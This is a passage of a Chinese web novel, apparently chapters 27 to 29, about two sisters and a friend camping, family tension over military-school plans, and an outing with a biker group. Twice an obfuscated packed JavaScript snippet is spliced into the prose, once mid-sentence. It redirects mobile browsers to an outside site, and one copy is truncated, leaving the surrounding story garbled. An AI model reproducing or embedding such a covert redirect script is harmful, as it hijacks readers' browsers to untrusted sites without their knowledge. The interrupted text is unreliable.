空气中还是那股花露水的气味,偶尔飘来草木的清香。 昭岁说:“我想念军校。” 咚咚早听到风声了:“所以决定吃鱼练练嘴是吧?” 昭岁受不了她了:“我告诉你,你今晚睡着,我就把你摇醒,看我俩谁能熬过谁。” 映年说:“排名够不着,还差一截了,现在录取撞运气也不一定。” 昭岁“嗯”一声,没说话了。 过了阵,她起身来,往帐篷里去。 咚咚也坐了会儿,进去了。映年去接了一罐水,把火苗彻底浇灭了。 微弱的月光透过天顶的防蚊纱招进来,有蚊子在纱网上盘旋,不知哪里有漏洞,钻进了帐篷,嘤嘤嗡嗡响。 昭岁手缩在睡袋,想拍蚊子,动弹不了,反而惊了睡意,她翻身想躲,到一半又停下来,侧着身盯着一旁的咚咚,眺过去,发现映年不见了。 眯了一会儿,映年还没回来。 她往后翻身,坐了起来,听见外头有悉悉索索的声音。 打开帐篷,昭岁看见映年正在玩打火石。 火花在黑夜里很亮。还是没亮。 “不睡觉?”昭岁问。 映年握着枯叶的手抖了一下,转头问看:“想上厕所。” “玩火尿炕。”昭岁没拆穿。她爬了出来,重新把帐篷拉上,坐在刚才的位置上。 映年也笑了,把打火石重新丢给昭岁。 昭岁拿起来,摸着还有点余温,不知道映年试了多久。她捡了枯叶在点,这次一下就亮了。 “这玩意是有什么技巧吗?”映年问。 “心诚则灵。”昭岁说。 玄学。映年对这种解释无所适从。 这边没什么枯枝了,两人就在周围剪了几根,重新搭起来小火堆。 “妈妈知道你想去军校了。” “嗯。”告诉黄柠檬后,昭岁就不认为能够瞒住。 “我看了鹊师大这边的一些工科,你上不是问题的。”映年说。 昭岁盯着火光:“不是军校,也会是北方。” 映年说:“按性价比来讲,这分不合算。” 昭岁突然有点生气了:“不是,我都说了我的需求了,为什么还要这么执着?” “我是觉得……” “是不是我的感受不重要?”昭岁打断映年的话,她想发狠了说,又怕声音惊醒了咚咚,痛苦又恼怒地问,“是不是觉得我去北方这事,就是过家家玩,和妈妈耍点小性子,然后哄两句,就能够点头答应说留下来?” 映年没说话了。 昭岁发现眼泪已经不自觉的流下来了,分明不是她的错,可生理总是那么不争气:“就像小珞她哥一样,似乎就是说着玩玩,实际没有什么用,走不出这方圆百里?” “怎么可能那你和他比?” 昭岁盯着火光,这反驳的腔调中,眼泪已经不自觉的下来了。 她说:“我知道,你们就觉得我是在闹别扭。” 映年默了片刻,道:“绝没有把你当成小珞她哥……妈妈是希望你别走太远,她记挂你。” 火光烫得黑夜热烘烘的,昭岁的脸涨得不行,心头那根弦一直紧绷着,她是憋着,又大口大口地喘气,太闷了,窒息感太重。 “你为什么学地理?”昭岁正色问。 “我觉得地理很有趣。”映年说。 “不是,”昭岁这一笑带着轻蔑,似乎抓到了映年的把柄,“因为五角星老师吧,她很器重你,毕业多少年,还念着你呢。” 在母爱缺席的成长期,五角星对于映年来说,扮演着亦师亦母的角色。许多时刻,映年的青春期苦闷,是传达给了五角星。在某个时刻,映年名列前茅的成绩,是为了获得五角星的持续关注。可能微不足道,可能举足轻重。 那通电话,反而让映年觉得五角星足够正值,她的喜爱满满当当。 映年去看昭岁,反驳的话没说出口。 沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087399|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默中,零星的火光再度熄灭。 _ 昭岁窝在睡袋里,整个脑袋都埋进去了,在翻相册照片。 照片里,火车轨道在建,一队女工挥铲推车,正在劳作,脑袋上扣着防风帽,讲话时笑意盈盈。 那是年轻时候的齐美裳。 昭岁的印象中,齐美裳很少谈那段时光,连昭岁知道,都是亲戚提醒。哪怕是一起陪着参与旧友聚会,昭岁认识年轻的齐美裳,都是从她人照片中的。她问齐美裳当时她没底片保存吗?齐美裳说回来路上遇到抢劫,都丢了。 去年大姥姥进养老院,齐美裳忙着刘海洋的事情抽不开身,搬家的任务落到了昭岁的身上。她去收拾时,在大姥姥的旧书柜里找到“都丢了”的照片。 大姥姥是旧疾复发,摔倒了,惊吓多余疾病本身,出院后行动不便。齐美裳帮着物色了几天护工,本来定下来了,晚上齐美裳接了个齐美棠的电话,第二天就带着大姥姥去参观养老院了。 这些细节,昭岁清楚,大姥姥未必知道。 昭岁帮着收拾时,大姥姥抱着枕头抹泪,要说是“偷偷”,不必要当着昭岁的面儿,要说“无理取闹”,又安安静静。昭岁见过了齐美裳玩这样的“把戏”,再见到大姥姥如此,觉得好笑。她佯装没看见,电话故意开着免提,和那头的护工沟通要带些什么,要主意些什么,再随口一提问平时能出来吗?那头的答案否认时,昭岁明显感觉到大姥姥的啜泣断了一声。 这份玩乐更像是一场对垒,有反叛的复仇意识把昭岁往邪恶的导向拽,她便顺势去了,等到挂断电话看大姥姥哭得伤心,她又感觉为自己的柔情感到大难临头。 ——是要“复仇”什么呢?大姥姥不选自己吗?可是大姥姥带到映年七岁大,不谈别的,这七年的感情,总归不是能抹去的,她又何必去争呢? 况且还是去争这一份假设。 接到齐美裳任务,帮着大姥姥收拾房间的可是齐昭岁,不是齐映年。 接下来的话,昭岁为这份想法而烦躁。 大姥姥说:“美裳还是怨我,怨我叫她回来。” 昭岁问:“养老院又不是什么坏事,吃住都方便。” 大姥姥说:“你以后会送美裳去养老院吗?” 昭岁说:“如果她想去的话。” 大姥姥说:“可是我不想去。” 昭岁忍耐着:“是五姨让你去养老院的。” 大姥姥说突然噤声,没再说话了,小声小气地吸着鼻涕。 昭岁翻着那一叠照片,全是齐美裳的照片,有合照,更多是单人的照片。大姥姥保存得很好,哪怕过了这么多年,缺损的情况很少。那会儿齐美裳二十多岁,头发还是齐耳,带着帽子露出耳朵,笑的时候能嘴裂开,虎牙尖尖的,活力十足。 如果齐美裳当年狠心一点,或许是不是不一样?昭岁幻想。毕竟旧友们回忆起峥嵘岁月,都历历在目,齐美裳不愿意提,总归是带着遗憾吧。 在这之前,昭岁眼中的齐美裳活得不够精彩,攀山越海完全不搭边,她成了一个很古板的人。 齐美裳近乎严苛的要求三餐的标准,要荤素搭配的同时兼顾各种量的维生素摄取。爱吃零食的年纪,昭岁只要撕开辣条包装,就能被鼻子嗅到香精的气味,房门立刻就会敲响。客厅一定要大,这样才能满足电视到沙发之间的距离,观看时不能躺着趴着,要坐着坐直。仪容仪表的整理,比校规严格,昭岁剪了个斜刘海,第二日就被重新修上了眉毛以上。 种种…… 齐美裳不会把辣条立马扔进垃圾桶,转而是惩罚昭岁去刷马桶。看电视时的监督严格,昭岁在班里是少数没有近视的学生。至于外貌上的管束,高考毕业后昭岁涂着鲜艳的指甲油,她也没有让昭岁立马卸掉,不然剁掉脚趾。 但当事人昭岁并不觉得是好事,哪怕是带着齐美裳的“宽恕”。倘若真的严于律己,齐美裳的牙疼到底怎么来的。 旧友聚会时,聊起旧事旧人,问起齐美裳密友的近况,说起风光无限,又有叹起说谁谁早逝。昭岁或多或少听到她们的感叹中,也有齐美裳。 “如果不是大姥姥病了……” 昭岁暗地里算过时间,那时候齐美棠在念大学。她不信大姥姥没和齐美棠哀求过,远在异乡的两个女儿,最后只有齐美裳回来了。 昭岁的同情带着连锁反应。她同情齐美裳,又想摆脱齐美裳。 凭什么呢?事事亲为的都是齐美裳,好说歹说都劝不住,口头上讲出一句齐美棠,却能让大姥姥哑炮。 那妈妈,你为什么一定要我留在身边呢? 那妈妈,你的照片是真实的,你的旧友是真实的,你的经历是真实的,为什么你连叹声回忆都没有呢? 她想起李亚肯定李立沐时,坚毅的神情,又认为自己太苛刻了。 齐美裳也同样很优秀的。 这些照片被昭岁带了回来,为确保存档,还去打印店扫描了一份电子相册,实体专门购置了一个相册安放。 手机相册就存着这些照片。 昭岁翻着,呼吸起了一层水雾。她擦干净,切到齐美裳的聊天框,两人的对话停在前天。 齐美裳问她吃酥鱼没。 她清楚齐美裳想问不是这个,或者说这类油炸菜式基本不会是齐美裳的选择,就连小时候爱吃的甜皮鸭,都是复婚之后才有机会端上餐桌的。 那是昭岁向黄柠檬透露“军校”的第二天,怕是齐美裳听到了风声。昭岁倒是不怪黄柠檬,不是黄柠檬转达,昭岁反而不知道怎么开口。 她把晚饭照片发给了齐美裳。 齐美裳:在外面少喝点酒。 一句话让昭岁的分享欲熄灭了。 昭岁:那不含酒精的。 齐美裳:哦,好吧。 过了几分钟。 齐美裳:那也少喝。 她熄屏了。 28.第 28 章 映年同样没睡。 她把音乐公司的情况证据整理出来,提交了匿名的消防举报。 这事,本在计划,但怕影响后续就业按住了,想着之后的工作稳定再筹谋。在苗光烁的启发下,再次萌生,到今天拉了野屎,心情开放去想白上的几天班,实在太憋屈了,又被昭岁刺激,于是决定去做了。 先试了一下,网站的确能匿名提交。就算不是匿名,白天致电实名举报,她也要去做。 翌日,咚咚起大早,把两人摇醒了,要去日出。 昨晚没下雨,小溪却深了些,一段路是淌着溢出来的水。不放心把行李放在原地,怕被淹了,还是脱鞋下水,趟过去,往上走。昭岁带路走到前面,咚咚居中,映年在最后。 有昨天下来的经验,爬坡不算难。 往上行进,到了山顶。云层太厚,哪怕山高,也触不到,太阳被遮挡得严严实实。 从山顶上往下望去,雾气环绕,村庄和城市都看不清楚,只有迷迷蒙蒙的轮廓。 咚咚想等一会儿,看看能不能雾散了取景,二人没意见。她们又往昨天发现的凉亭里走,正好坐着吃早饭。 昭岁的包裹装的干粮,她卸下来,放在亭中的石桌上,拿出来面包来。 突然听见呼噜声。 她往旁边看去,吓一大跳,下意识叫出声。 咚咚还在调整相机呢,映年先一步冲过去,到昭岁身边,也叫了一声。 “咋了?”咚咚问。 “这……有个人。”昭岁还是刷太多视频了,尤其是社会新闻,要不是呼噜声,她真以为是抛尸地点呢。 橄榄色的薄制睡袋里,裹着一个人,只露出来下半张脸。皮肤黝黑,头发花白卷曲,翘起来,把脸颊挡住,嘴唇上有层厚厚的油脂,应该是涂了蜡。地上有散落的铝制长垫,估摸着是裹在睡袋外面的,落下了了。 长垫旁边,有个自行车锁链,圈在石桌底部一周,另一处被圈住的是一个迷彩的拉杆箱。 昭岁昨天的时候尝试过搬石桌,她确定这人还不在。 “我们也应该这样睡的。”咚咚过来,瞧见却说,“正好有四边。” 昭岁:“……” 映年:“每次搭帐篷的都是我,我也没说不搭。” “这是来拍鸟的,”咚咚蹲下来,去看拉杆箱上的防撞设计,“装相机的估计。” 三人重新坐下,这次没坐到石凳上,而是排排坐在凉亭的长椅上。 早上还是吃面包,咚咚和昭岁分着牛肉条吃,映年把芒果干吃完了。等了会儿,咚咚看着天气,也没打算再留了。 明天提前批的志愿窗口截止,今天就得下山去,赶到城市里。要不就试用手机填报,没电脑兼容方便。 刚收拾垃圾时,呼噜声停了。 那人开口了:“太闹了你们。” 这声音沙哑,的确是个上了年纪的老者。动作却很灵活,坐起来,整张脸露出来,面上还挂着一个眼镜。 戴着眼镜睡觉……怕做梦的时候看不清楚吗?映年没把风趣当冒犯。 “你们上山就吃这个?”黄栀子揭开睡袋,整个人剥离出来。 黄栀子的靴子都还穿在身上,一身穿着防风的迷彩外套,裤子装下还沾着苍耳。 这下不止映年了,连昭岁和咚咚看着也觉得眼睛疼。 “今天运气不好,太阳一直没出来。”咚咚和她招呼,有扰人清梦的罪恶感。 “不出来正好,没那么热。”黄栀子说着,蹲着解锁自行车链,把箱子提上了石桌,打开打开来。 咚咚刚把镜头收好,不免想看看别人的设备,她凑过去,却发现不是相机,更不是什么大装备。 是一箱子炊具。 三分之一是瓶瓶罐罐的香料,剩余的是两个透明的玻璃罐子,里面放满了草木,中间有几款是蘑菇,最后贴在内壁上的有一口平底锅,周围是一些农具铲之类的。 “有盐了。”咚咚说。 “……”昭岁敲敲踢了一下她的脚尖。 黄栀子打开一个玻璃瓶盖子,掏了两叶子,递给昭岁,昭岁不敢接,咚咚接了,映年也面露难色。黄栀子笑笑,手里余下的这片放在嘴里。 “试试。”黄栀子指着叶片的小杆子,“含这里,然后再吃叶子。” 咚咚真含在嘴里了。 昭岁:“啥都往嘴里塞。” 映年:“啥味道?” 咚咚含在嘴里没说话。 昭岁也拿了一片,放了嘴里。有点香,然后是刺刺的辣,香料味很重。 “野生的油桂,多少年了,叶子都够好玩。”黄栀子又拿出来,分给映年。映年还是没吃。 昭岁喜欢吃辣,这点吃着,还真新奇。 “昨天是你们在吼是吗?”黄栀子问。 “啊?我们刚上山。”昭岁说。 黄栀子看她,笑,视线停在昭岁裤腰上沾到的草。 “怎么?”昭岁奇怪。 “这种草,就北面才有,南面会晒死的。” 上山的路,只有南面,北面那头靠近江流,陡坡悬崖。这也是三人折返回来看太阳,顺便改方向。 昭岁倒没有被揭穿的窘迫,她说:“太吓人了,晚上壮胆。” “我看你们生火了。”黄栀子说。 “你一直在这?”映年问。 “也不是,就夏天来玩几天,不然早冻死了。” 映年想问的是昨天在这不,黄栀子的回答很是亲近了。 “谁想吃鱼吃肉来着?”黄栀子问。 咚咚刚想开口,被昭岁狠狠揪了胳膊一下。这一下狠,痛得她呲牙咧嘴的。这样也不可能堵住她的嘴:“她想吃,怎么吃?” 小溪旁边,她们又回到了住宿的地方。火坑旁多了个黄栀子。 黄栀子把防风外套脱下来,里面是一件吸汗长袖,她身材丰腴,单薄的衣服紧贴着身体,肚子上赘肉安然的垒着,上方逶迤的山脉如锥,锋利无比。 三人在不同程度上有点惊。 黄栀子无所谓目光,只是笑笑,她点燃干柴,把便携式的锅架放上,从小溪里捞出一块石板,架起来。 “高手都是用打火机。”咚咚说。 “昨天有人还和我说水里有块地板砖呢。”昭岁说。 映年见两人拌嘴,没说话。 黄栀子说得肉,不是真肉,是采集来的菌类。放点橄榄油,蘑菇切片,用石板炙成,“吱吱”诱人。 “你常来吗?”昭岁问。 “也不是,没钱还是要上班的。”黄栀子说,“有点钱就跑出来玩。” “还没退休呢。”映年说。 “退休了,不够用的,打零工呢。”黄栀子拿着夹子翻面,取了片叶子递给咚咚,把烤好的蘑菇夹给她,“做野人很花钱的。” 映年和昭岁都笑了,她们彼此看向对方,昭岁又想起来吵架没和好,错开了。映年失笑。 蘑菇有中毒的风险,咚咚谨慎起来:“不会中毒吧?” 三人眼馋着,又想着彼此不要拖累,没去吃一口。 “那我吃吧。”黄栀子没勉强,“这小溪没鱼,就有鱼,估计也就塞牙缝。” “那你就吃这个?” “山上就吃点树叶果子就行,今天难得点火呢,说要招待你们。”黄栀子带着一种天然的慵懒感,配上这并不规整的穿着,倒也很搭调,“我小孩和你们差不多大,就爱吃这口。” 是不是在老一辈里,上至四十,下至十岁,都是同年龄的孩子?黄栀子怎么看,不比三姥姥小多少,可能是户外活动加速了面部的沧桑。 三人就看着黄栀子用餐,感觉这一趟没必要一块来的。起身离开,又有点不太礼貌。 好在黄栀子对本地了解较多,分享了些能打卡的地方,重合度和咚咚做的攻略有点大,她们正好临时调整一下。 灭了火,四人一块走下山。 一路上,黄栀子对植物了如指掌,给她们分享着植物成长的情况。黄栀子虽瘦,步伐很稳,有时候三人还得加紧点走,才能跟上她。 又到了一个山腰上。 这平台比刚才的更广,路口望过去,那头竟然有个山洞。很规则的半圆形,被一旁的树枝掩盖住,也能看清洞的大小不小。 昭岁说:“昨晚就该睡这的。” 咚咚也觉得不错,但考虑到映年:“这里面铁定可多蝙蝠之类的,不行。” 两人作势就要往那头走,映年打在她俩的肩上,也不顾是不是在冷战了。 “这种洞穴不能去探险。”映年说,“二氧化碳浓度高,也有可能洗过矿,中毒的。” 她们就在洞口前看了看,没再往前。 黄栀子听着,笑起来。 到岔口的时候,黄栀子要往左走,她们下山往右走,就此分别了。 下山后还是一条水泥路。 这一带没有公交车。三人继续下山走一截,临到中午的时候到了一段石子路。车更少了。 “搭便车吧。”咚咚说。 两人没意见。 一旦有车经过,就招手拦。 一辆过去,两辆过去,三辆过去……没有理会她们的摆手。 “要不再走走?”咚咚说。 三人继续走,走了两个小时。 映年先撑不住了,她把包放下来,坐在包上休息。 “休息一会儿。”映年说。 “再走一会。”昭岁说。 这两天山路折腾得,没息好,没吃好,运动量还很大。累到还好,更重要的是,她心慌报志愿的事情,怕真耽搁了。 “歇会儿吧。”咚咚说。 昭岁向来服从多数决。 三人就停下来,又去招呼车。 过了几辆后,真有车停下来,是一辆快递的三轮车。 “可以送,得给点什么吧?”司机说。 “你想要多少钱?”映年问。 “你把滑板给我吧。”司机说。 昭岁是没想到这人狮子大开口,开得这么厉害。她没抱希望了,打算继续等下一辆。 映年却答应了:“可以,你捎我们去大路上。” 昭岁盯着她,义正词严:“我不要!” 三轮车渐行渐远,昭岁有点气不过,拍了一张车牌的照片。她的念想是要举报,又痛恨自己的软弱,可能拍了就是拍了。 “要不叫出租车?”映年说。 这是行程中,头一次提到出租车的打算。如果真要耽误昭岁的志愿,得不偿失,不如叫车。 “你为什么能轻易的滑板拿去送掉?”昭岁很生气,就是辜负了真心,“这不是……送的吗?”沈以歌的名字到嘴边,她囫囵地两声过去,一时不知道到底该怎么称呼。 叫“沈以歌”不太礼貌,叫“以歌姐”又太亲近,可能叫“沈姐”最好,可还是有点叫不出口。 没有那五千块,可能还没这么别扭。 “她给我的东西,我就能处理啊。”映年说。 “别人送你的,你就该好好保管。”昭岁说。 “你不用有愧疚,”映年觉得昭岁这么炸,是因为滑板更多是为了早点进城,“我也不想走路了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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咚咚戳穿了,故意把映年拉到一边,说话声却很大:“她之前和琴琴关系很好,后头闹掰估计就这样的。” “那完全不是!”昭岁似被踩到了尾巴,否认得很快。 咚咚追问:“那是什么?” 昭岁欲言又止,最后嗫嚅:“反正不是!” 气氛稍稍转好了点。 杯子里还剩最后点水,映年刚过了就没分,让咚咚和昭岁一块分了。 这一片泊油路旁的绿植繁盛,树上有鸟鸣,叽叽喳喳一阵,又突然停下来好一会儿,换了种类曲调,阴恻恻的。 “吃蘑菇中毒,叫救护车也不算违规。”昭岁突然说。 “想什么呢你。”咚咚瞪她,又问映年,“这边没点火的,滑板能不能拿来当柴火烧?” 映年:“……” ……这俩。 齐美裳的电话过来了,昭岁接通,那头说一直没打通很担心。昭岁借口说是山上没信号,实际上是开了飞行模式。是为了省电,也是为了躲齐美裳。 她不确定齐美裳有没有给映年打电话。 “一定要去军校吗?”齐美裳可能真慌了,这次单刀直入。 “嗯,”昭岁似在表决心,“没有录取,也想去试试当兵。” 齐美裳在那头顿了好一会儿,说:“没你以为的那么光彩,不轻松的。” “我知道。”昭岁说。 母女又沉默了。 “其实我是自愿回来的,怪不得你姥姥。” “你想说什么?” “……我是想你留下的,如果你要去,我也不说了。”齐美裳说,“对不起,妈妈错了。” 这话出来,昭岁又觉得心头空落落的,但她还是讲:“好。” 电话就挂断了。 齐美裳这么快妥协,可能是觉得她的分数不够。不够啊……昭岁也清楚。 如果她有映年的水准,就不会这么被动了。她想起昨天对映年说的话,有点过火了,今日没找到道歉的机会,还又有分歧了。 映年优秀,玩什么都能得心应手,特立独行,能够完全洒脱的,不需要别人指引方向。反观自己呢?患得患失,总是要一群人玩着才好,做事马马虎虎,虚荣得很,妈妈都这年纪了,她还在唱反调。这样对比起来,太羞耻了。她到底有什么立场去和映年纷争呢? 怎么这么心安理得,怎么可以这样说话。 饥肠辘辘的三人,还好没走到天黑,有人愿意载她们。 两对情侣,四辆机车。 就是再不想坐,腿也投降了,完全可以不去研究是否有不太健康的改装。 三人一人一个车,坐在上面,带上了头盔。 引擎声响起,昭岁下意识往后靠,想抓住前面的男人,又觉得不礼貌,于是攥着后面的把手……呃,后面没把手。 一旁的女骑笑,说:“没关系,可以往前撑着油箱。” 涉及安全问题,昭岁到没别扭,问前面的人:“可以吗?” “可以。” 昭岁没贴上前面人的后背,她手长能够得着油箱,也能撑着坐好了。 机车开始速度很慢,渐渐加快,风呼啸而过。没有刚才那般快速,反而开得很稳。 听着轮胎摩擦地面的响声,昭岁的心脏在高频跳动,屏气一瞬间又大口的呼吸,感觉畅快十足。 她终于看到感受到了映年速降时,可能的视角,还要更快。 更快。 29.第 29 章 平时玩机车的大多就只带自己的盔,还好她们都备用了一个盔,咚咚三人才可以上车。 这段路没多久。 还是要下车分开,机车情侣要去反方向走。咚咚要感激,对方也没拒绝,加了好友,约定下午联系,让三人请客吃饭。 考虑到昭岁本来就要报志愿,咚咚选了个公交车沿路的电竞酒店。刷卡开了酒店房门。 昭岁下意识就想往床上躺,还是坐在电脑椅上,闻着不对劲。她看向咚咚,再是映年。 “烟?”昭岁问。 “退房吧。”映年说。 三人出了酒店,找半天找到了个大网吧,开了无烟区的三台机子。 昭岁在填报志愿。昭岁不想映年管志愿填报的事情,映年也没凑上去。齐美裳的电话没来,可能是真的妥协了。 映年电话当地的夜宵店定了座,又打开酒店网站,重新定了酒店。 做完这些,映年和咚咚一起看筛选视频素材。 她是头一次见到在船上的打钹队。 “怎么样,够格让你推荐吗?”咚咚问。 “不是够不够格的问题,我也没这么神通广大。”映年还真想过是不是有可能让苗光红她们和的以歌合作,去参加综艺,但这份引荐和慷慨对以歌绝对是包袱多于助力。 “这确实,我小时候还以为你真能当科学家呢。” “我是真想过,发现自己还没这能力。”映年倒不觉得咚咚的话是冒犯,不过听着也不太顺耳,“不过也没我现在混得这么差。” “你这就叫混得差了?”咚咚拍了拍自己的胸口,“那我呢?” 映年不说话了。 咚咚感觉问这话挺不和谐的。 “我也不后悔没继续读书。”咚咚说。 “我记得你成绩,没差到这样。”映年说。 “你知道的,那都是小学了。”咚咚说,“有会爱学习读书的人,就会有不会学习的人,我就是这类人。” 这话自动把映年归在了“爱学习读书”那一类,映年也没反驳。没什么好反驳的。读书那会儿觉得这是夸赞,到现在听着有歧义。哪怕她清楚咚咚不是这意思。 微信有两条新消息。 仙儿:以歌说你最近来这边旅游了。 仙儿:要不要我当导游?带你们逛逛。 映年:不用,太麻烦了,谢谢姐。 仙儿:不麻烦,以歌妹妹就是我妹妹。 映年:真不用,有机会来你店里听歌。 仙儿:那一定来啊。 仙儿联系自己,说以歌的消息,映年挺意外的。可以歌乐队的解散并不和谐,尤其是键盘手仙儿的提前退场,以歌烂醉如泥说着要绝交,真到离别的时候也没松口,怎么离开了又联系上了。现在“可以歌”乐队重组,新招的键盘手技术也是童子功,是个留学生。 映年去问以歌关于仙儿的消息。 以歌:她不要脸,乱认妹妹。 映年:我还以为你们断交了。 以歌:她求我和好,我没点头呢。估计所以想找你说好话。 以歌:你想去就去,让她全程给你买单接送。 映年看着,突然笑出来,又蓦然停住。退出聊天界面,在列表里往下滑,到下一页是大脸猫。 桂花糕的多嘴影响了映年。没什么的,从前也是有冲坡的情况才联系她。她告诉自己。 想到这,映年把下午滑板的事情告诉了以歌,问她怎么想。 以歌:我是觉得没关系。但这事处理上,你有问题。 以歌:她生气是怕你的举动,影响我俩的关系吧? 是鸣不平还是担忧关系呢?映年惊觉自己太怪了。难道回怼的时刻,她没有产生过“昭岁小瞧了她们的亲密”这一丝念头吗? 这很不好。 _ 机车情侣真来了,还带着个小女孩。 摘了盔,情侣们的发色露出来,一对染的是紫色,一对是橘色。还是那身骑行服,面容冷峻,比起机车上的酷劲,这看上去更加的“不好惹”。 小女孩就小学生的样貌,穿着一身动漫联名的短袖,裤子是学生中最常见的灰色卫裤。头发很奇怪,流海是蓄得只能盖住半个额头,其余的头发也长短不一。她的眼神澄澈,坐上位置时,怯生生地挨着招呼:“姐姐好,我叫姜姜”。 昭岁不清楚姜姜和情侣们的关系,不好开口问。不过她对聚会场合得心应手,刚认识这两对情侣,也能聊着一块去,讲着最近的新闻和娱乐八卦。咚咚会照顾姜姜,坐在一旁,边吃边询问。 映年成了格格不入的那位。 紫色头发的机车女叫阿雨,橘色女叫阿风,两人是车队认识的朋友,兴趣相投,就一块在玩了。阿风同昭岁聊的很来,两人对组装玩法热枕。阿雨话少一点,偶尔插上两句。 昭岁察觉到映年的处境,她说:“我姐也玩速降呢,滑板是她的。” 目光探过来,她们开始聊起滑板的话题。这个话题在很多时候,映年是没机会聊到的,或者说,当她真聊起时,总有大伙反应:“哇,你还玩这个!” 和桂花糕的反应如出一辙。 阿雨的反应更大点,她是在问:“为啥不直接降落,那段路还不错。” “很危险的。”映年觉得这个形容词对于机车党来说是免疫状态,补充道,“我有点怕。” 昭岁讶异。她还以为映年喜欢这种刺激呢。 “能玩吗?”阿雨问,“拿机车给你换。” 映年说:“不用换,给你玩。” 阿雨的目光落在姜姜身上。 吃饭地点临近运动场馆,几人坐着机车过去,才发现这一带在唱演唱会,门口聚集了一堆粉丝。 把车停好,找了一块空地。 映年蹲着帮姜姜绑好护膝,站起来,刚想说让她把手搭在肩上,发现对方身高不够,于是伸出胳膊去让她搭住。 走了两步,阿雨来替换掉映年。 不一会儿,姜姜就不要阿雨扶着了,踩着滑板能来回滑动了。 七个大人坐在台阶上看姜姜玩。 玩了会儿,姜姜到映年面前,想让她教两招。 映年便起来,使了两个小招,让姜姜做。姜姜不满意,还是跟着做,她领悟力惊人,居然没几次就能踩稳。于是映年没再顾虑,讲了三个要领些的招,让姜姜来试试。 玩滑板是克服恐惧。映年是带着勇气去练习克服,而姜姜不同,她是本身就无所畏惧。她比映年,坦率许多。 阿雨突然说:“父母不能选,朋友可以选。” 昭岁感觉自己呼吸顿了一下。 没人接阿雨这茬,静默地看着姜姜玩。 演唱会的音响很大,昭岁居然听出了热门曲目,她跟着哼哼两下,记不住词,也就哼了两下。看着阿风看过来,她有点羞,没再哼了。 这天晚上没玩什么,就是坐着在台阶上吹风。到演唱会散场后,这块空地没得安宁,她们也没逗留,就分开了。 坐在回程的地铁上,映年抱着滑板,有点空虚。 “你们经常这么打电话吗?”映年突然问。 昭岁还在数印章本呢,被这么一问,有点懵:“什么?” “没什么。” 没得到解答,昭岁继续数,合上册子时,她反应过来。 “也不是,黄柠檬一个一个电话的,谁先接就逮着谁说。”昭岁说,“我打得没她多,精力没那么好。” “噢。”映年不太能想象挨着拨打通讯录的场景,那可能只有在公司业务上会这样做。 “你可以和阿雨阿风加个好友,平时还能聊呢。”昭岁说。 “不用,”映年把界限划得很清楚,“萍水相逢,一饭之缘就够了。” “那教我玩怎么样?”昭岁问。 映年愣一下,说:“你真想玩?” _ 分别后,阿风阿雨没回去,载着姜姜,往列表上的目的地去了。 姜姜坐在阿雨的身后,说:“我电话了,他就在这一块玩球。” 等了会儿,一个小胖子来了。 他路过机车看了两眼,心头痒痒,但没靠近。正要离开,便听见有人叫他的名字,声音耳熟,他回头就见着机车上的人站在他的面前。 阿风叫了声他的名字。 他斜眼瞥见一旁把头盔挡风板掀起来的姜姜,正想说话,肩膀上搭了一个手臂。 “给你妈妈打个电话交代一下。”阿风提醒他。 阿雨的车掠过大桥,只留一个光影,阿雨对象车上,坐着带盔的小胖子。姜姜坐在阿风的车上,她抱着阿风,鼓足勇气大吼一声“啊”,又叫了一声小胖子的名字,小胖子也叫了一声姜姜。 她们在风里畅意的笑。 接着,又去了两个地址,四辆机车后座坐了四个小孩。 在城市溜了一圈,终点站到达游乐场。帮派的大学们组团来的,到得差不多了,阿雨把小孩们交给她们,又继续去接人。阿雨负责带小孩们进场,另外三人继续去接人。 这不是手游帮派第一次线下聚会,但是姜姜参与的第一次。 考虑到学生好多下午有课,来不及晚饭聚会,干脆先玩了再进行夜宵。往期玩的多是桌游店,这次几个小孩报名要来,就问意见,投票多数定在游乐场。 阿风是帮主,她玩得不多但有钱,帮里普遍佛系,就算吸纳到一些没法每日上线贡献的小朋友,也不会踢人离开。 姜姜却是每天上线贡献的玩家,出勤率算帮派里较高的。她的技术也不错,擅长玩近战的位置,有副本或者团战缺人手,帮派频道询问,姜姜总能第一时间响应。 大伙儿都以为她是个很闲的大学生,真到连语音的时候,听声音才发现是个小孩。本来还以为是有什么科技,但网上交流嘛,主要在游戏体验,身份本身没那么重要。 过了阵儿,姜姜很久没上线,一上线就把装备挂在商城要出售。阿风放心不下,私聊问她,对方把她拉黑了。阿雨就装作买家去聊,压价很多,对方答应得很快,说是小孩沉迷游戏,急着出。 阿雨干脆把账号直接买回来了。账号没用,她把简介改成了“号主本人联系帮主”,等着姜姜有可能有机会再联系上。 一个月后,姜姜真用小号联系上了,阿雨把号还给了姜姜。可没玩几天,号又被挂在商城。饶是阿雨再有钱,也不会当冤大头,账号就被别人买走。 那次上线后,姜姜没信儿了。到今年春天,姜姜突然登上小号,说是住在姑姑家,可以用手机了。她没怨阿雨,还有点抱怨,做帮派任务更用心了。本来在帮派人员流动性不高,姜姜人也热忱,这事更多赖家长,就翻篇了。 夏天来到,大学生期末后可能要回老家,便定了六月底聚会。小孩们也报名,和家长先沟通一遍,要么送过来要么去接,集合在一块。 帮派群体大些的有往五十岁的阿姨,最小的也就姜姜她们,大多数还是二三十岁的年轻人。 不论性别,无关年龄,更不谈职业,因为在网络上的游戏上相遇,聊的都是些游戏的话题。姜姜在里头,就没了刚才吃饭的那股怯,讲起知道的话题,很了解其中要领。 游乐场的冒险设施是阿风阿雨的最爱,现在加了个姜姜。她们钟爱这种刺激感。 尽管危险,但惹人关注。 _ 